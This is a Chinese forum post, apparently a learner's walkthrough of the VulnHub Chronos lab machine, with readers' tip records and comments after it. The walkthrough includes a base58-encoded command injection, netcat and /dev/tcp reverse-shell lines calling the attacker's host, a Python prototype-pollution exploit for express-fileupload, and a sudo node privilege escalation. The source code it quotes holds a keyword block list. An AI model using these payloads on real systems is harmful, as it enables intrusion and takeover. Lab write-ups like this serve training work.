靶机:https://www.vulnhub.com/entry/chronos-1,735/
攻击机:kali2022.2
目标:两个flag,一个普通用户下,一个root用户下
今天使用netdiscover来进行主机发现netdiscover -r 10.0.3.0/16(子网掩码-8)
靶机ip为:10.0.3.7
全端口扫描nmap -p- 10.0.3.7
服务探测nmap -p22,80,8000 -sV 10.0.3.7
收集到的信息
22:openssh
80:apche
8000:nodejs framework express 服务器快速开发框架
主机:ubantu
80
网页看上去什么都没有的思路:
1.看源码,有没有隐藏的路径,加载的脚本之类
发现一个js脚本,复制下来看看能不能看懂在干什么。
还原一下再看,https://gchq.github.io/CyberChef/
这个网站可以在线还原美化js代码
发现一段url:'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'
刚刚信息收集到了靶机也是开了8000端口的,猜测chronos.local这个域名指向的就是我们主机的10.0.3.7。
绑定一下域名和ipvi /etc/hosts
ping chronos.local
域名可以正确解析到靶机ip
因为我们绑定了正确的域名和ip,再次访问已经可以通过js脚本加载出来了一些新资源。多了一个时间戳。
burp抓包,分析一下整个通信过程。
先用option方式访问了刚刚源码里看到的那个地址
在用get的方式去访问一次,然后服务端给我们的回显里就有页面上显示的时间内容。
把能收到回显的这个请求包丢到重放模块,看看为啥访问了这个地址会返回服务端的时间。
首先就怀疑地址里那一段加密的,随便改一下看看啥效果。
不给回显时间了,确认就是fomat这个传参后面的内容控制的回显。4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL
现在不知道加密方式,丢到cyberchef的magic模块,会分析所有有可能的加密,然后解密出来。
好家伙base58都出来了
明文:'+Today is %A, %B %d, %Y %H:%M:%S.'
前面信息收集到了靶机系统也是linux
直接执行一下看看
测试过程:
先不带引号,不对
难道是加号拼接前面的命令?把+删了,不对
带着引号,不对
最后度娘告诉我这是日期的输出格式。要带着data命令data '+Today is %A, %B %d, %Y %H:%M:%S.'
date对不起date '+Today is %A, %B %d, %Y %H:%M:%S.'
芜湖!那还愣着干什莫
补充一点东西
a | b 执行b
a ; b 依次执行
a && b a执行正确,再执行b // sql注入and
a || b a执行错误,再执行b //sql注入中的 union select
这里确认显示时间命令是正确可以回显的,为了不踩一些莫名其妙的坑,用&&
尝试一下
&&ls
拿去base58加密,还是用得cyberchef,选择to base58模块yZSGA
理论上把这个用foemat传参传到服务端,就会服务端就会执行date &&ls
给我们返回日期+用户信息。
成功,证明了这里是有一个命令注入漏洞的。至此web信息收集完成
接下来反弹shell,因为目标是ubantu,应该是有nc的,查看一下
ls /bin
编码后
57NE6QPaJq
犯病了dbq&&ls /bin
在返回的数据中发现了bash以及nc
因为不确定nc的版本,所以还是选择day2里用到的姿势来反弹shell&& nc 10.0.3.4 4444 | bin/bash | nc 10.0.3.4 7777
4444和7777都连接成功了,问题应该出在给bin/bash处理的过程,检查后发现写错了,/bin/bash才对,少了一个/,day1学到的知识还是掌握的不牢固
反弹shell成功
信息收集发现只有user.txt这么个像是保存flag的文件在imera用户下。
但是没有权限打开,修改。
由于suid,内核漏洞提权等都试过了无果。大量的信息收集后发现提权应该要去看js代码,所以这次就先到这,容我分析完再来更新.
搜索之后得知package.json这个文件保存了很多的配置信息。
看到了四个依赖库
base58编码就是依赖bs58这个库来做的加密
express也验证了最初信息收集得到的这个web服务用express框架开发的。
接下来看看app.js这个主文件
// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000;
const cors = require('cors');
上面几行就是一些配置信息,加载一些库,也验证了我们信息收集到的信息是正确的。
app.use(cors());
app.get('/', (req,res) =>{ 如果有人访问根目录
res.sendFile("/var/www/html/index.html");把他跳到这里
});
app.get('/date', (req, res) => {如果有人访问data目录
var agent = req.headers['user-agent'];取http头部信息中的UA值给变量agent
var cmd = 'date ';把date赋值给变量cmd
const format = req.query.format;提取客户端url中format变量的值
const bytes = bs58.decode(format);放到bs58这个模块做解密
var decoded = bytes.toString();还原成字符串
var concat = cmd.concat(decoded);和cmd连接起来
发先从客户端来的数据没有任何防护,所以刚刚命令注入成功
if (agent === 'Chronos') { 如果客户端的UA是chronos进行下面的一系列判断
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {
res.send("Something went wrong");
}如果date后面拼接的有上面说到的id,whoami,nc等字符,就回复一个Something went wrong。在上面nc反弹shell的图里也能看到。
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
如果UA不是chronos
res.send("Permission Denied");就返回这个
}
})
app.listen(port,() => {上面只是做了检测然后报错,但是并没有进行下一步,上面传入的代码,命令还是正常执行。
console.log(`Server running at ${port}`);
})
虽然了解了上面命令注入的原理和验证了一些信息收集到的信息,但是依旧是没有提权的地方。容我抽支烟
跳到上级目录看看
好像有搞头
跳进去瞅瞅,html应该也是一个web服务
首先进入backend这个后端目录
大差不差,还是先看看配置文件
{
"name": "some-website",名字
"version": "1.0.0",版本
"description": "",描述
"main": "server.js",主文件是server.js,ok这个看完就去看它
"scripts": {
"start": "node server.js" 使用node.js来启动
},
"author": "", 作者,无用信息好多
"license": "ISC",
"dependencies": {又是一些依赖库
"ejs": "^3.1.5",
"express": "^4.17.1",
"express-fileupload": "^1.1.7-alpha.3" fileupload?!好嘛,文件上传,思路:看看主文件,找上传点,传webshell,拿下root权限的这个web服务。
}
}
查看主文件
const express = require('express');调用依赖库
const fileupload = require("express-fileupload");调用依赖库
const http = require('http')调用依赖库
const app = express();调用依赖库
上面全是调用对应服务的库
app.use(fileupload({ parseNested: true }));设置了一个parsenested的参数开关为true
app.set('view engine', 'ejs');调用了ejs,查了知道是什么嵌入式开发脚本模板,没啥意义
app.set('views', "/opt/chronos-v2/frontend/pages");调用页面文件
app.get('/', (req, res) => {
res.render('index')
});
const server = http.Server(app);
const addr = "127.0.0.1"web应用启动在127.0.0.1的8080,所以开始信息收集扫描的时候没扫出来这个web服务
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
然而主文件也只是写了调用express-fileupload这个模块,也是没看到哪里文件上传了。
找度娘搜搜这个模块的信息
确认了node.js的express-fileupload这个库是有漏洞的,但是没有具体利用的流程。
确认了漏洞位置接着找利用流程https://www.bleepingcomputer.com/news/security/nodejs-module-downloaded-7m-times-lets-hackers-inject-code/
漏洞文章地址(想看的给个提示:文章是国外的,多了不好说)
在看的过程中我发现了漏洞的CVE编号发现是2020年的,然后搜索编号找到了csdn的文章
看到利用文章中说利用的前提条件是我们前面的那个参数开关要为true,这里确认了靶机上的第二个web服务是存在这个漏洞的。https://blog.csdn.net/gental_z/article/details/107937110
发一个post包内容如下
POST / HTTP/1.1
Host: 192.168.0.101:7778
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.101:7778/
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
Content-Length: 339
Connection: close
Upgrade-Insecure-Requests: 1
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"
Content-Type: text/plain
aaa
-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="username"
123
-----------------------------1546646991721295948201928333--
2.通过req.body返回的是
{ username : ‘123’ }
3.修改username为__proto__.outputFunctionName
4.修改123为x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x
我能不能说我不会用。最后还是在发现这个漏洞的作者博客那里找到了好东西,一个python的利用脚本
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/攻击机的ip/端口 0>&1"'
# pollute
requests.post('http://web服务的地址:服务监听的端口', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://web服务地址:监听端口')
至此,第二次信息收集结束
接下来思路就清晰了
因为前面的代码分析出来这个有漏洞的web服务是在靶机127.0.0.1的8080上,所以流程为:kali机生成exp.py,开启web服务,利用拿下的www-data用户wget下载写好的exp.py,本机运行,最后我这里就会收到一个权限为root的web服务发来的shell
在kali机生成一个exp.pyvi exp.py
生成成功
回到靶机
cd /tmp
wget http://10.0.3.4/exp.py
ls
下载成功
kali机开启6666监听nc -nvlp 6666
靶机执行文件python3 exp.py
吃到shell,但是为什么是imera???
跳回去看了一眼属主不是root吗西巴儿
算了,先拿第一个flag吧,前面收集到了在/home/imera/user.txt
flag1:byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
这个屌样子应该还是base58,暂时没心情搞,等提权完拿到第二个再一起解密好了
还好,发现两个不用输密码可以root权限运行的命令。node,npm
网上找到提权方法
sudo node -e 'child_process.spawn("/bin/bash", {stdio: [0, 1, 2]})'
通过调用node生成一个子进程child_process.spawn,而在这个子进程中执行的就是/bin/bash
完事,找第二个flag
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
解密
flag1
还不是base58,选择magic模块
base64.。。。。。
flag1:o chronos pernaei file mou.
flag2:apopse siopi mazeuoume oneira.
至此打靶day3完成
说实话有点抗拒写总结,到这里脑子已经晕乎乎的了
1.靶机发现,新姿势netdiscover
2.端口扫描/服务探测
3.web渗透
学到的思路:当发现页面看上去啥也没有的时候可以查看源文件,看看加载的脚本,分析脚本干了什么,有没有路径。
4.拿到web-data权限,信息收集,尝试提权无果后代码审计,找到搭建在靶机本地的第二个web服务,发现node.js开发框架中加载的exprss-fileupload依赖库中有漏洞,并且主文件中参数开关是true开启状态,漏洞可以利用。
5.反弹shell拿到imrea权限,找到第一个flag
6.信息收集发现sudo -l配置不当,通过node命令可以提权
7.提权成功,拿到root权限,找到第二个flag
学到的新知识:
1.编解码工具cyberchef的使用。觉得整篇文章写得太烂或者太长不想看的小伙伴这个也一定要看一看,真的好用。
2.node.js框架原型链污染漏洞复现。
3.netdiscover发现主机
4。看到某些页面时的渗透思路
由于今天一个靶机学习了14个小时,知识太多。以及今天做命令注入反弹shell出错了发现day1,day2的知识没吃透,所以明天就不打day4了,复习思考一下这些东西。打靶日记day4后天在更新。
免杀学习日记也暂时停更,因为在学大量的c++以及汇编知识,没什么好发出来的东西。后面写出来了一点有用的工具或者学到了免杀的思路在更新在shanque免杀学习日记day2-dayN。
有小伙伴跟着打靶的过程有问题随时呼叫我哈,也可以qq群里@我,大家一起学习成长。
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
君叹 | 4.00 | 0 | 2022-07-07 09:09:31 | 一个受益终生的帖子~~ |
Track-劲夫 | 90.00 | 0 | 2022-05-31 15:03:12 | 一个受益终生的帖子~~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
Track-劲夫
发表于 2022-5-31
加油啊,雀哥
评论列表
加载数据中...
hhades
发表于 2022-6-6
大佬你这桌面有点东西
评论列表
加载数据中...